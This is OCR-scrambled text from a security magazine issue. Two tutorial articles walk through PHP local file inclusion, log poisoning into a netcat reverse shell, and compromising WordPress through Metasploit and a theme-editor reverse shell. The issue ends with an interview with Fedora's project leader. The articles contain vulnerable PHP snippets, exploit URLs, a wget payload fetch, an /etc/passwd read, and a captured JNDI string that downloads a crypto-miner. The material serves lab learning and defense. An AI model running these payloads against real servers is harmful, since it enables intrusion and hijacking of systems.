footer file with company branding for example. However, espe- fer using short tags for testing.
cially in older versions of PHP (as this feature was deprecated in To get a better idea of how LFIs work, consider Listing 2, a
PHP 7.4.0), if the setting allow_url_include = On is present, the nasty piece of code that is prone to LFI, which runs a danger-
second line with the include instruction (in Listing 1) could also ous shell_exec function. As you might guess, this code allows
pull in a remote URL instead of local page templates. As you can you to run commands from the command line as you might do
imagine, the content of a remote URL can change over time, but in a terminal.
more importantly, an attacker can potentially point the page-tem- In Listing 2, note that I check if the $_REQUEST superglobal vari-
plate variable at their own URL. If the functionality is discovered able exists (see the manual [2] before running shell_exec). If I’m
by an attacker and they constructed a URL like the one that fol- not missing something (my PHP is pretty rusty), the $_REQUEST
lows, they could get the target’s web server to unwittingly exe- variable means that an HTTP POST or an HTTP GET (and a cookie,
cute the PHP code in [Link]: I suppose, if you look at the manual page) could potentially be

28 OCTOBER 2023 ISSUE 275 [Link]

 COVER STORY
Local File Inclusion

Listing 1: Remote File Inclusion Listing 2: The Dangerous shell_exec Listing 4: something Snippet
<? <? <?

$page-template = $_GET["page-template"]; if ( isset( $_REQUEST[ 'this' ] ) ) $something = $_GET['something'];

include $page-template; echo shell_exec($_REQUEST['this']); if(isset($something))

{
?> ?>
include("$something");
}
Listing 3: Web Server Root Directory else

[Link] [Link] [Link] [Link] [Link] wp-admin [Link] {

[Link] include("[Link]");

[Link] [Link] wp-content [Link] wp-includes [Link] }

[Link] [Link]

[Link] [Link] [Link] [Link] [Link] ?>

used for an attack. It’s not just $_GET, in other words, and there- set (that’s the isset expression), it will include data from it.
fore an attacker would have more options available to them. Otherwise, it will load [Link].
An attacker can take advantage of shell_exec with a URL like The file that I’m going to target is the logfile that the Apache web
the one below, which uses the Linux id command to show the server saves its website hits to, namely /var/log/apache2/access.
user’s groups and ID information: log. I’ll try to access the Apache [Link] via a browser using LFI.
On several Capture The Flag PHP servers the following attack
[Link] worked straight out of the box. In my lab though I need to loosen
the security a little to get it to work. It is possible that default per-
The results show the www-data user – the user that usually runs missions have been improved on newer web server versions. Pre-
web servers on Debian Linux and Ubuntu Linux servers: vious permissions relating to the directory /var/log/apache2 were
root:adm. In other words, the directory belonged to the root user
uid=33(www-data) gid=33(www-data) groups=33(www-data) and the adm group (which our www-data user isn’t a member of).
But I will ensure that permissions are set on the directory itself
Listing 3 shows the output of the following directory listing and then, recursively, the files in the directory as so:
command:
$ chown www-data:adm /var/log/apache2

[Link] $ chown -R www-data:adm /var/log/apache2

The eagle-eyed among you will spot that the web server root I can now visit the following URL (where [Link] is the
directory in Listing 3 contains the files for a WordPress site, AWS instance alias I’ve set in my laptop’s /etc/hosts file):
which is based on PHP. I won’t be using WordPress-related
files in this article. However, it is worth noting that WordPress [Link]

is responsible for a staggering 42 percent of the sites on the

World Wide Web! Consider how important a secure PHP instal- Look closely at the URL. Note the %20, which is used to encode
lation is for a moment – all those WordPress sites are vulnera- the empty space character after the ls command.
ble to PHP attacks. The results are as follows (they’re actually displayed all on
It is a good idea to disable all dangerous PHP functions. Look one line in my browser), which is the directory listing of /var/
online for a hardening guide [3] that will get you started on log/apache2:
disabling PHP functions.
[Link]

Cutting to the Chase [Link]

With this background in mind, it is time to go deeper. I won’t use other_vhosts_access.log

the shell_exec function in this example, but it is worth knowing

that there are other functions in PHP that you should harden ac- Great, I’m in the right place and can see the logfiles. Does that
cess to in your online applications. One such function is called mean I can see the contents of the [Link] file?
passthru. According to the PHP manual [4]: “The passthru() The following crafted URL provides the results shown in Fig-
function is similar to the exec() function in that it executes a com- ure 1. The output is abbreviated and pixelated, to protect some
mand. This function should be used in place of exec() or system() IP addresses. In my browser, the output is on one massive, long
when the output from the Unix command is binary data that line, but it shows that I can read the contents of the [Link]
needs to be passed directly back to the browser.” file successfully. You might be able to make out that I’m using
Consider the snippet in Listing 4, which is PHP code for a file the Incognito Mode in Google Chrome to help mitigate caching
called [Link]. The file creates a variable called something if an while testing. The following URL, this time with the cat com-
HTTP GET is used with that name. If that variable exists and is mand, displays the file’s contents:

[Link] ISSUE 275 OCTOBER 2023 29

COVER STORY
Local File Inclusion

[Link] command, which should report a directory listing back. The URL
cat%20../../../log/apache2/[Link] in question, now with the command variable tacked on the end, is:

Excellent news – I can proceed. The next thing I need to do is [Link]

craft a URL using the stalwart of reverse shells, netcat. If you [Link]&command=ls

don’t have netcat then install it. (I’ll use the Nmap version of
netcat, which is ncat [5]: The result is just as with shell_exec, but this extract from the
[Link] file in Listing 6 shows that a bona fide hit on the
$ apt install ncat -y website was registered (with an HTTP 400 error), which means
I can view it in the browser window.
If the ncat package isn’t available, you might want to try to in- Great news! The extract in Listing 6 shows I am remotely ex-
stall another version of netcat for testing. ecuting commands on the web server. Now, I’ll try to get a re-
I should explain that my ultimate aim is to open an interactive verse shell working.
shell on the web server through this attack (see the article on re- There’s an excellent one-liner PHP code snippet that will
verse shells elsewhere in this issue). I want the target machine phone home on TCP port 8888 if I adjust it slightly. You’ll find
(the web server) to phone home to the attacker (my laptop). the snippet at the pentestmonkey GitHub repository [6], but
I’ll use netcat to do two things. In a fresh terminal on my here it is in raw text for easier copy-pasting:
laptop, I want to leave a “listener” open, dutifully listening out
on TCP port 8888 for when the PHP web server phones home [Link]

using its reverse shell. Create a listener with the following php-reverse-shell/master/[Link]

simple command:
How do I get my freshly saved PHP reverse shell file (I named
chris@Xeo:~$ nc -nvlp 8888 it [Link] and saved it to my laptop) onto the web server? I can
Listening on [Link] 8888 run a simple Python web server (this time on TCP port 4444)
that I’ll call the file server for clarity (see the box entitled “A
Now I craft a request to achieve the desired remote command Word to the Wise.”) Note that, for both the reverse shell and
execution, which will be possible using the LFI I have discov- the Python file server network ports, you might need to for-
ered. I craft a netcat request with some familiar-looking PHP. ward traffic from your broadband router to your laptop using
However, this time I will execute a command and then after- port forwarding. The command that I use to listen on TCP port
wards use a browser to look for the command’s output via the 4444 for incoming connections with Python is:
[Link] URL.
Starting to get the idea? This time I’ll use the variable command, chris@Xeo:~$ python3 -m [Link] 4444

which will reference the nefarious code to help create a reverse Serving HTTP on [Link] port 4444 ([Link] ...

shell. The crafted command with passthru looks like the follow-
ing (without using short tags so it’s a bit clearer): I close the terminal that gave the successful ls command a sec-
ond ago and then reopen it so I still have the command variable
$ ncat [Link] 80 injection via the ncat command (and of course ensuring the
netcat listener terminal is also open too with the nc command);
GET /<?php passthru($_GET['command']); ?> HTTP/1.1 I try to upload a reverse shell file (called [Link]) by pulling it
Host: [Link] from the Python file server:
Connection: close

[Link]

Once the ncat command is entered, just paste the other three [Link]&command=§§4

lines all at once for ease. wget%20[Link]

In Listing 5, you can see the Bad Request (HTTP 400) error
results of running the PHP passthru command in the crafted re- The wget command pulls from a redacted IP address on TCP
quest. In my case, the terminal doesn’t close and the command port 4444, which the Python file server is listening on. And, I
hangs; the connection established
by ncat remains open until I hit
CTRL+C.
Now that I’ve injected the command
variable, what happens if I visit the
URL that I tested with LFI? I will
wait a moment before trying out the
trickier reverse shell command and
try something simpler to prove that
the remote execution is working.
You can see in the following URL Figure 1: An abbreviated, pixelated [Link] file appears in the browser;
that I am trying to run the ls this means I can read its contents.

30 OCTOBER 2023 ISSUE 275 [Link]

 COVER STORY
Local File Inclusion

have requested the file [Link]. It occurs to me that if the A Word to the Wise
[Link] reverse shell executed at this point, it might be clas-
When opening up a web server on your laptop, you should cre-
sified as an RFI, as it is purely a remote inclusion. However, it
ate a brand new directory first and then copy the [Link] file into
doesn’t execute, so there’s another step.
it, especially if you are opening up the port to the Internet while
If I log into the web server, I can now see this file exists:
you run tests. That way any port-surfing scripts won’t get your
current working directory’s contents, just the [Link] file.
/var/www/html/[Link]

Perfect! And, in the terminal with the simple file server run- There are several more examples in the cheat sheet link, but an-
ning, I find this logged hit: other one that piqued my interest is to email the target machine
a reverse shell! Even if the mail server is not associated with
[Link] - - [06/May/2023 [Link] U DNS, but an SMTP service is dutifully listening, you can email
"GET /[Link] HTTP/1.1" 200 - nefarious data to the www-data user. The LFI part of the puzzle is
then reading the internal email text file (for example /var/spool/
I can close the file server terminal now. mail/www-data), which would hold the reverse shell code.
With one eye firmly remaining on the listener terminal win- If you are interested in automating the search for possible
dow and the other focused on the browser, I try to open the fol- LFI targets, you could try the fantastic tool called LFISuite [9].
lowing URL in the browser:

[Link]
Listing 5: Bad Request Error
HTTP/1.1 400 Bad Request

And, leaving that browser tab whir- Date: Sat, 06 May 2023 [Link] GMT

ring away as if it wasn’t doing any- Server: Apache/2.4.56 (Debian)

thing, Listing 7 shows the highly cov- Content-Length: 320

eted shell access. Connection: close

As Listing 7 shows, I have success- Content-Type: text/html; charset=iso-8859-1

fully compromised the web server

and, using some shell stabilization <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">

tricks, I can soon have a reverse shell <html><head>

that has functionality like tab-com- <title>400 Bad Request</title>

pletion and command history. The </head><body>

eagle-eyed can see that I have the <h1>Bad Request</h1>

www-data user’s permissions, and <p>Your browser sent a request that this server could not understand.<br />

with some privilege escalation tricks, </p>

I can soon become the root user. <hr>

<address>Apache/2.4.56 (Debian) Server at [Link] Port 80</address>

Other LFI Attacks </body></html>

There are several other ways of

achieving local file inclusion. Look Listing 6: [Link] Extract
online for a nicely constructed "GET /[Link] [Link] [Link] [Link] [Link] wp-admin
cheat sheet [7]. [Link] [Link]
For example, the expect wrapper in [Link] [Link] wp-content [Link] wp-includes
PHP [8] is a useful attack vector. [Link] [Link] [Link]

Loosely written out, the format of an [Link] [Link] [Link] [Link] [Link] HTTP/1.1\n"
400 502 "-" "-"
expect wrapper attack looks like the
following:
Listing 7: Shell Access
[Link]?page=expect://whoami
chris@Xeo:~$ nc -nvlp 8888
Listening on [Link] 8888
In this case, I’m running the whoami
command through the expect Connection received on [Link] 43652
wrapper. Linux ip-10-78-41-232 5.10.0-22-cloud-amd64 #1 SMP Debian 5.10.178-3 (2023-04-22) x86_64
PHP also has a vulnerability relat- GNU/Linux

ing to the filter wrapper. A URL [Link] up 2:11, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
might look like the following:
chris pts/0 [Link] 11:14 3:11 0.11s 0.04s sshd: chris [priv]
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[Link]?page=php://filter/U
/bin/sh: 0: can't access tty; job control turned off
convert.base64-encode/U
$
resource=/etc/passwd

[Link] ISSUE 275 OCTOBER 2023 31

COVER STORY
Local File Inclusion

Figure 3: Some old familiars

Figure 2: LFISuite starting up, with understated aplomb. in the Exploiter menu.

I needed to create a virtual environment in Python to get it URL: [Link]

running. The following commands worked for me, but you master/setup_c3pool_miner.sh. This looks like a Crypto Mining
might need to tweak them and do a little bit of research in installer script. See the GitHub site for the XMRig script if you
order to get them working. The commands are as follows are interested [10].
(assuming you have installed pip): I mention this to remind you to be careful when opening up
network ports!
$ git clone [Link] I would be remiss not to give you some pointers about writ-
$ cd LFISuite ing secure code to help mitigate the effects of some LFI threats.
$ virtualenv -p /usr/bin/python2.7 env_name You’ll find a relatively concise introduction at the Acunetix
$ . env_name/bin/activate website [11]. Stay vigilant. Q Q Q
$ pip install requests # test the environment with the "pip" U
Info
package manager

$ python [Link] [1] Open Worldwide Application Security Project (OWASP):

[Link]
Figure 2 shows the LFISuite, with some excellent ASCII art. [2] PHP Manual: [Link]
[Link]
If you look at some of the options available (under the Ex-
[3] PHP hardening guide: [Link]
ploiter menu option), you will see some familiar information,
linux-unix-apache-lighttpd-phpini-disable-functions
as shown in Figure 3.
[4] passthru functions:
Although a little long in the tooth (the GitHub hasn’t been up- [Link]
dated for five years or so), the core of LFISuite is still extremely
[5] ncat: [Link]
useful. I would recommend exercising a degree of patience and
[6] pentestmonkey on GitHub:
walking through the many options against a test machine. You [Link]
will see lots of ../../../ URLs in the output, and you’ll be able [7] LFI cheat sheet: [Link]
to gain confidence in the findings with some practice. Use the php-wrapper-expect-lfi
Auto-Hack option with a level of care, as you can imagine! [8] expect wrapper:
[Link]
Conclusion [9] LFISuite: [Link]
This article took a close look at local file inclusion attacks. Un- [10] XMRig: [Link]
derstanding how these attacks work will help you understand [11] PHP security:
how to prepare for them. [Link]
One important warning about the techniques described in
this article is that you need to be very careful when opening up Author
network ports. During testing, I was momentarily distracted by Chris Binnie is a Cloud Native Security consultant and co-author
the fact that my listener terminal filled up with text. At a of the book Cloud Native Security: [Link]
glance, it looked like an attacker was looking for a Tomcat vul- Cloud-Native-Security-Chris-Binnie/dp/1119782236
nerability. Listing 8
shows a heavily ab- Listing 8: Tomcat Bypass
breviated snippet. Authentication: ${jnd${123%25ff:-${123%25ff:-i:}}ldap://[Link]/TomcatBypass/Command/Base64/
With a bit of dig- Y3VybCAtcyAtTCBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vQzNQb29sL3htcmlnX3NldHVwL21hc3Rlci9zZXR1c
ging, I was able to
F9jM3Bvb2xfb?
extract the following

32 OCTOBER 2023 ISSUE 275 [Link]

COVER STORY
Compromising WordPress

How attackers slip inside WordPress

Press Alert
WordPress is an incredibly popular tool for building websites, and don’t
think the attackers haven’t noticed. We’ll show you what to watch for.

By Chris Binnie

A
ccording to the WordPress website, a staggering 42 $ wpscan --url [Link] U
percent of the World Wide Web runs on WordPress --enumerate vp,vt --api-token XXXXXXXXXXXX

software. It is not difficult to see why the huge num-

ber of WordPress websites around the world is a The vp switch asks WPScan to look for vulnerable Word-
major draw for attackers. Discovering a WordPress bug al- Press plugins and report back. The other switch that I usu-
lows the attacker to repeat the process hundreds of times. In ally use is vt, which stands for vulnerable themes. To get as
some cases, they can even automate the process for a rinse- much data as possible, I’m also adding an API token (which
and-repeat attack which could be a real danger for millions is free and has a limit of 25 API accesses a day if you regis-
of website owners. ter first at [Link]).
This article looks at some of the techniques an attacker can use The output from WPScan is eye-watering. It’s lengthy and re-
to gain shell access to a server that is running WordPress. Once ally detailed, with lots of reference URLs. Sections in red text in-
they've attained shell access, the attacker can use standard privi- dicate the WordPress build is likely to be vulnerable. In this case,
lege escalation techniques to take full control of the machine. I will focus on a vulnerability that I discovered in a Capture the
Pen testers have many ways to describe the structure of an Flag (CTF) challenge on the TryHackMe website [2]. The highly
Internet attack (sometimes with seven phases or more), but I recommended TryHackMe (THM) is ideal for getting started and
prefer to keep things simple. The process starts with an Enu- then moving from beginner levels of knowledge to advanced.
meration phase, where the attacker learns about the compo- Needless to say, there are very good reasons why the TryHackMe
nents of the target system. Next is an Exploitation phase, site is so popular (over a year ago they had a million users and
which is focused on gaining shell access. I think of the last seem to have doubled that number since [3]).
phase as the Post Exploitation phase, where attackers set up The vulnerability relates to a bug in the WordPress Core 5.0.
persistence for future access and then start enumerating other In the first example, I will make use of a frankly frighteningly
resources that the compromised target has access to in order to easy-to-use penetration testing tool called Metasploit [4]. The
move around the infrastructure. alarming thing about Metasploit is the level of automation it pro-
vides. The user only needs to add a few pieces of information
Enumerate, Enumerate and type run. The success rate, once a vulnerability has been
To get things started, I’ll employ a mind-blowing security correctly identified, is remarkably high. Metasploit is used by
tool called WPScan, which the developers refer to as “The users with low-to-moderate levels of experience. That doesn’t
WordPress Security Scanner” [1]. You have several options mean elite users don’t turn to it for some easy automation at
for how to install WPScan. I’ll use the
Ruby gem installation method. The
commands to use on Debian Linux de-
rivatives are

$ apt install ruby-rubygems

$ gem instal wpscan

Once WPScan is installed (Figure 1), I’ll

point it at the AWS instance, which I will
call [Link] (by setting the host-
name in the /etc/hosts), and then I’ll
run a scan, as follows: Figure 1: The scan begins, following a threat intel update.

34 OCTOBER 2023 ISSUE 275 [Link]

Figure 2: We have a match for Crop-image in Metasploit.

times. Understanding precisely how and why the tool interacts Execution (RCE). The goal is to open a remote shell on the
with target systems tends to require more advanced knowledge, WordPress server and then move from a low-level, non-root
although the tool pulls together information from all over the user to the superuser root account. Figure 2 shows what a
web, including the Exploit Database [5]. If you haven’t used it successful Metasploit search of the built-in modules reveals
before, you should take a moment to appreciate the power of the when looking for the Crop-image vulnerability. According to
Exploit Database. Check out the Exploit Database entry for the some of the online documentation, the Crop-image attack
exploit described in this article [6]. relates to CVE-2019-8943 [7], which states that an authenti-
cated attacker who has permissions to crop an image can
Taking Advantage then save the resulting image to an arbitrary directory and
To save time and simplify, I will look at this particular exploit use the output file to their advantage. This type of issue is
after completing the first phase, i.e., after I have already enu- referred to as “Improper Limitation of a Pathname to a Re-
merated the target and managed to glean a (non-admin) user- stricted Directory (‘Path Traversal’).”
name and password for WordPress. The next steps are to offer Metasploit some options for
In this case, I found a bug courtesy of WPScan. The scan the attack. In this case, I will offer the target’s IP Address
identified a vulnerability that allows Remote Command (set as [Link] on my system). Then I’ll offer the user-
name and password that I have
gleaned from WordPress already.
(Imagine that you found a username
from a user’s posts on the website and
then ran 100,000 passwords against
the user in a brute-force attack on the
WordPress login screen to discover the
credentials.)
Finally, I need to add the local IP ad-
dress of my laptop and an open TCP port
so that, if the exploit is successful, the
WordPress server will phone home back
to my laptop. This process is known as a
reverse shell (see the article on reverse
shells elsewhere in this issue). With the
handful of options fed into Metasploit,
type run and you will see the process un-
Figure 3: Running the code in the Exploit Database to exploit the RCE bug. derway in Metasploit.

[Link] ISSUE 275 OCTOBER 2023 35

COVER STORY
Compromising WordPress

As you can see in Figure 3, the mighty Metasploit is crafting a I’m aiming to adjust the [Link] page, but you can
payload and then uploading it as an image before using the image update other pages and test with them too. In previous
in WordPress’s active website theme. WordPress versions, the [Link] page is used commonly for
If the attack is successful, the attacker is welcomed by the this purpose.
server that is running WordPress with a shell. In this case, I have A different-looking page opens up under Tools | Theme File
access as the www-data user. The www-data account is a non-root Editor, showing lots of website code, as you can see in Figure 5.
user and is typically used to run the Apache web server. I can Now I need to scroll down the files listed on the right-hand side
now type commands to stabilize the shell and then begin Privi- of the screen. When it comes to some filenames, you can see the
lege Escalation techniques remotely, just as if I were logged into names of the files, ending with the .php extension, under each of
one of my own servers over SSH. the more human-readable titles of each page. I’m looking for a
file called [Link] (or you can use the full link that I used
Another Route to Root previously and adjust [Link] to your needs).
Now that you’ve seen Metasploit weaving its magic, I’ll show You might well ask, why are you looking for a 404 file? It’s a
you how to get a reverse shell to work using a more manual pro- reasonable question. What you might not fully appreciate is
cess. A common way that (usually authenticated) attacks of how servers configured to run the PHP language treat files end-
WordPress gain access to a shell is via the UI itself. Once you au- ing with the .php extension. They essentially execute them,
thenticate with WordPress, you are presented with a dashboard. running them just like a script might run.
The permissions are usually limited in some way. In this exam- As an authenticated user with access to the WordPress UI,
ple, you will need a user who can edit website template content, my aim is to alter the code in the 404 template file and then ei-
as part of a (usually running) WordPress theme. I will use the ther visit a website page that doesn’t exist (to trigger a Page
admin user I have created for this example. Incidentally, I need to Not Found 404 error) or, in this case, visit the URL directly and
navigate to the login page using the following address: load that template page directly. WordPress will then phone
home via a reverse shell.
[Link] The PHP code for a reverse shell comes from the PenTest-
Monkey website [8]. If you want the code directly (because
Following the big welcome banner, I click the Appearance link you’ve practiced this before), go to the GitHub repository [9]
on the left-hand navigation menu. I am then presented with and find the file [Link]. Click Raw on the right-
the dashboard displayed in Figure 4. hand side for a clean cut-and-paste method. This is one of the
In Figure 4, you can see the blue Customize button for the most popular reverse shell snippets, and it hasn’t been edited
Twenty Twenty-Three theme. Now look at the Appearance | in GitHub since 2015, so it must be good!
Themes | Editor link on the left-hand side. I use the following
URL to reach the file I am after: Popping a Shell
Now I’m ready to open a reverse shell. Before I do that, I need to
[Link] make tiny adjustments to the code. For instance, I need to add
[Link]?file=U my local laptop IP address and also the port that I’ve opened for
patterns%[Link]&theme=U the reverse shell to connect to, as seen in Listing 1 with the
twentytwentythree CHANGE THIS comments (also in Figure 5).

Figure 4: The WordPress Themes page.

36 OCTOBER 2023 ISSUE 275 [Link]

 COVER STORY
Compromising WordPress

Figure 5: OMG, it’s full of code.

I now install the stalwart of the reverse shell world, netcat, the /etc/hosts file on the WordPress server itself while testing.
with the following command on Debian Linux derivatives: Most sites you are attacking won’t be broken like this. In my
case, the file looks like
$ apt install netcat

[Link] [Link]

Next I open a listener up on a new terminal with this command:

What gave me the clue to add the local DNS entry in /etc/
$ nc -nvlp 8888 hosts was the WordPress UI. The Tools | Site Health page
Listening on [Link] 8888 said it couldn’t connect to its own internal components
properly. Once I made the change, the Site Health message
Excellent, we can see that netcat is listening dutifully. lit up green.
(See the article on reverse shells elsewhere in this issue for The next thing on the list is to trigger the code in hidden-404.
more on using netcat to set up a listener.) You can now paste php directly in order to load and execute the reverse shell code.
the reverse shell code over the top of the existing 404 template
code by selecting all with Ctrl+A and then pasting with Listing 1: Setting the Address and Port
Ctrl+V. Check that you have pasted the version with the cor- <?php
rect IP address and open port and then click the blue Update
File button at the bottom of the page.
$VERSION = "1.0";
If you get a strange error about editing files, you can try a couple
of things. Figure 6 shows the unwelcome red error that I received $ip = '[Link]'; // CHANGE THIS

and Figure 7 shows what success should look like, in green. $port = 8888; // CHANGE THIS

I realized the DNS was a bit stale, having moved the AWS IP $chunk_size = 1400;
addresses a few times. If that happens to you, use the hostname $write_a = null;
that you used to create your WordPress build ([Link] in
$error_a = null;
this example) and add the actual AWS instance IP address in

Figure 6: Your WordPress build might not be working quite right.

Figure 7: Editing files within Themes should look like this.

[Link] ISSUE 275 OCTOBER 2023 37

COVER STORY
Compromising WordPress

Figure 8: Happiness is a working reverse shell.

In my case, I visited the following URL: outlined in the article on reverse shells elsewhere in this issue,
including spawning a Bash process, switching to xterm, and
[Link] temporarily putting the netcat process in the background to
twentytwentythree/patterns/[Link] tweak some terminal settings.

Looking back to the terminal where the listener is running Escalating

brings much joy. As you can see in Figure 8, I have a reverse A stable shell allows you to settle in and get comfortable on
shell. In case you can’t quite read the detail in Figure 8, the the target system, and the next step is usually to start the
shell has dropped us in as the www-data user. This is to be ex- process of privilege escalation, which is often called Local
pected and is good news. Privilege Escalation (LPE) or PrivEsc. In this case, the goal
Once you get the reverse shell working, you might want to
take a few steps to stabilize the shell. These steps, which are Listing 3: WordPress Container
$ docker-compose run --rm wp-cli install-wp
Listing 2: Building Wordpress Creating dvwp_wp-cli_run ... done
$ docker-compose up -d --build Success: WordPress installed successfully.
[...snip...] Plugin 'iwp-client' activated.

Creating network "dvwp_default" with the default driver Success: Activated 1 of 1 plugins.

Creating volume "dvwp_wp" with default driver Plugin 'social-warfare' activated.

Creating volume "dvwp_db" with default driver Success: Activated 1 of 1 plugins.

Building wordpress Plugin 'wp-advanced-search' activated.

Sending build context to Docker daemon 57.15MB Success: Activated 1 of 1 plugins.

Step 1/3 : FROM wordpress:php7.1-apache Plugin 'wp-file-upload' activated.

php7.1-apache: Pulling from library/wordpress Success: Activated 1 of 1 plugins.

[...snip...] Success: Imported from '[Link]'.

Figure 9: LSE is running through many, many PrivEsc checks.

38 OCTOBER 2023 ISSUE 275 [Link]

 COVER STORY
Compromising WordPress

is to elevate from the www-data user to the root user (called [Link]

vertical PrivEsc) or indeed possibly to another user (called [Link]

horizontal PrivEsc). [Link]

See the article on privilege escalation elsewhere in this issue

for more on PrivEsc techniques, including tricks with the SUID In Figure 10, you can see what the first URL offers: a good old
bit and sudoers file, as well as looking in crontab files for jobs blogging website courtesy of WordPress.
that run as root. The next steps for attacking the Damn Vulnerable WordPress
If none of those options turn up anything, you could also site are up to you! Dvwp offers the admin username and pass-
try an enumeration tool. For instance, the Linux Smart Enu- word, so trying out authenticated attacks is nice and easy.
meration (LSE) tool [10] is specifically designed for Linux
PrivEsc. You can usually pull files from your own machine Conclusion
to the target via a Python web server once you have a shell It should go without saying that, if you use sophisticated tools
available, but in LSE’s case, I just go to the raw version of to defend against attacks for your WordPress sites, attackers
the [Link] script in the GitHub repository [11] and paste will almost certainly make use of similar tools. There are many
the whole, lengthy script into a file on the target, making it excellent training resources available online for both defending
executable with chmod +x [Link]. Figure 9 shows the open- and attacking WordPress. It’s not necessarily a quick endeavor
ing output of LSE. The Figure 9 output shows that LSE is to move past the novice level, but one thing I can assure you is
about to point us to some interesting artifacts on the Word- that the well-considered TryHackMe will speed up your jour-
Press host. ney, allowing you to get more from ethical hacking. Ultimately,
this experience will help you defend your own servers. Q Q Q
Ready Player One
If you want to practice on your own already-vulnerable Word- Info
Press installation, I would recommend learning on TryHackMe [1] WPScan: [Link]
first and using some of their free challenges. If you don’t want
[2] TryHackMe: [Link]
to take that route and would prefer to target a trickier, pre-
[3] TryHackMe’s Million Users:
baked WordPress installation, you’ll find a very old but pur-
[Link]
posely vulnerable WordPress installation called dvwp (Damn
Vulnerable WordPress) on GitHub [12]. The GitHub site lets [4] Metasploit: [Link]
you clone the code and spin up a Docker container in order to [5] Exploit Database: [Link]
run the application. [6] Exploit Database Entry: [Link]
A container is a nice approach because all the software is in- [7] Attack described in this article: [Link]
stalled locally, so you can be sure you’re not breaching any [Link]?name=CVE-2019-8943
cloud provider terms of service.
[8] PenTestMonkey:
As the root user, get started with the following commands:
[Link]
[9] PHP Reverse Shell at GitHub:
$ git clone [Link]
[Link]
$ cd dvwp
[10] Linux Smart Enumeration (LSE):
[Link]
Use Docker Compose to spin up the containers. After the pro-
cess completes, you should see three containers running: php- [11] Raw Version of [Link]: [Link]
myadmin/phpmyadmin, dvwp_wordpress, and mysql:5.7. Listings 2 diego-treitos/linux-smart-enumeration/master/[Link]
and 3 show the commands for setting up WordPress and in- [12] dvwp: [Link]
stalling the WordPress container.
At the end of Listing 3, the word Success is very welcome Author
and denotes that the process has been completed. The GitHub Chris Binnie is a Cloud Native Security consultant and co-author
README file will help you get started with some useful URLs, as of the book Cloud Native Security: [Link]
shown here: Cloud-Native-Security-Chris-Binnie/dp/1119782236.

Figure 10: The gauntlet has been thrown down.

[Link] ISSUE 275 OCTOBER 2023 39

REVIEW
Distro Walk – Fedora

The old hat that’s still new

Fedora
Matthew Miller, Fedora Project Leader, discusses
Fedora’s relationship with Red Hat and its role in
the Linux community. By Bruce Byfield

T
he Fedora Project [1] was started DOS. But really, I didn’t get involved LM: How do Fedora and Red Hat
in 2003 as the community face of until the rise of the Internet in the 90s. I interact?
the newly established Red Hat grew up in Indiana, and one of my
Enterprise Linux (RHEL). Al- friends discovered that, having gradu- MM: Red Hat is the Fedora Project’s
though sometimes dismissed as no more ated from college, he no longer had ac- main sponsor and of course builds
than a beta release for RHEL, Fedora cess to email, Usenet, and this new RHEL from Fedora Linux as a base (now
quickly became a popular community “world wide web” thing. He asked me to through CentOS). Red Hat pays my sal-
choice as well, with numerous spins and help, and together we built a local Inter- ary, and I’m grateful that I therefore get
builds. Twenty years later, it is also one net provider. We started with Windows to work on Fedora full time – entirely
of the main sources for numerous major NT – but soon hit limitations. I’d read on free and open source software and
commercial distributions, including about Linux and wanted to give it a try. with our amazing community. There
RHEL, CentOS Stream, Rocky Linux, and So, I ordered a five-disc set of different are a few other folks paid mostly to
AlmaLinux, as well as a dozen deriva- Linux distros from the back of a maga- work on Fedora, but most Red Hatters
tives in its own right. zine, and late one night, we converted you see around the project have prod-
Matthew Miller has been Fedora Proj- one of our servers. I quickly fell in love – uct-related primary jobs. They may con-
ect Leader since 2014. As he prepared for this was definitely better! So, we con- tribute to Fedora as part of developing
Flock, the Fedora Project’s annual con- verted everything else, too. something wanted for a future Red Hat
ference, in Cork, Ireland, in August 2023, The first disc in that set was Debian, product – or, like anyone else, for their
Miller kindly agreed to talk about the but due to some flaw or incompatibility, own interests.
current state of Fedora. that one didn’t boot. The next was Red Hat doesn’t take a heavy hand in
Slackware, so that’s what we ran on for trying to tell Fedora what to do – in all my
Linux Magazine (LM): Tell us about a while, but Slackware didn’t have a nine years as Fedora Project Leader, I’ve
your involvement in free software. way to upgrade an already-installed sys- never gotten any kind of “make Fedora do
tem (even for security updates), so after this!” directive. I’ve gotten occasional po-
Matthew Miller (MM): I think my first a while, we switched to Red Hat Linux. lite requests from the marketing side of
exposure to the idea was in high school This eventually led to me getting in- the business – especially at the very dawn
– I knew BASIC pretty well and wanted volved with the Red Hat Linux beta test of the project, I think people were quite
to learn more, but C compilers were ex- program (at the time, this was an invite- concerned that some customers might not
pensive. A family friend gave me a copy only restricted group), and from there understand the difference between how
of DJGPP, which is a port of GCC for to Fedora. Red Hat supports Fedora and the actual

40 OCTOBER 2023 ISSUE 275 [Link]

 REVIEW
Distro Walk – Fedora

Red Hat product portfolio. But I don’t competition, we’re set up for coopera- there is a problem, you can roll back. In
think that’s a real worry these days. tion. And, in doing this, RHEL is more fact, if there’s a problem and you’re not
So, when someone in Red Hat wants transparent and open than ever before. sure exactly when it started, you can
something in Fedora, they go through The Fedora Project’s mission is to use a technique called “bisection” to
the same process as anyone else. build a platform that’s both useful for quickly find exactly the update that in-
our own users and a great base to build troduced the issue.
LM: How has Fedora been affected by on. I think it’s really exciting that Ama-
IBM’s purchase of Red Hat and by the zon decided to base their own commer- LM: The Free Software Foundation (FSF)
end of CentOS? cial distribution on Fedora Linux directly critiques Fedora [2] with:
– that’s really where you can do the “Fedora does have a clear policy about
MM: Red Hat was a publicly-traded most exciting things. But, if you want to what can be included in the distribution,
company before IBM, and in practice I make something slower-moving, more and it seems to be followed carefully. The
don’t see IBM as much different from cautious, CentOS Stream is also an inter- policy requires that most software and all
shareholders or a board of directors – esting place to engage. fonts be available under a free license,
Red Hat still operates as a functionally but makes an exception for certain kinds
completely separate company with our LM: The last few years have seen the of nonfree firmware. Unfortunately, the
own identity and decision-making. I rise of immutable operating systems, decision to allow that firmware in the
sometimes joke that it’d be easy to which cannot be modified by users or policy keeps Fedora from meeting the free
blame IBM for everything that happens applications, are updated all at once, and system distribution guidelines.”
that I don’t like, but that’s really not isolate each application, often through How would you respond?
how it is. If anything, I’d love for more containers. Currently, Fedora develops
IBMers to show up more in the Fedora three: Silverblue, Kinoite, and Sericea. MM: In an ideal world, all software –
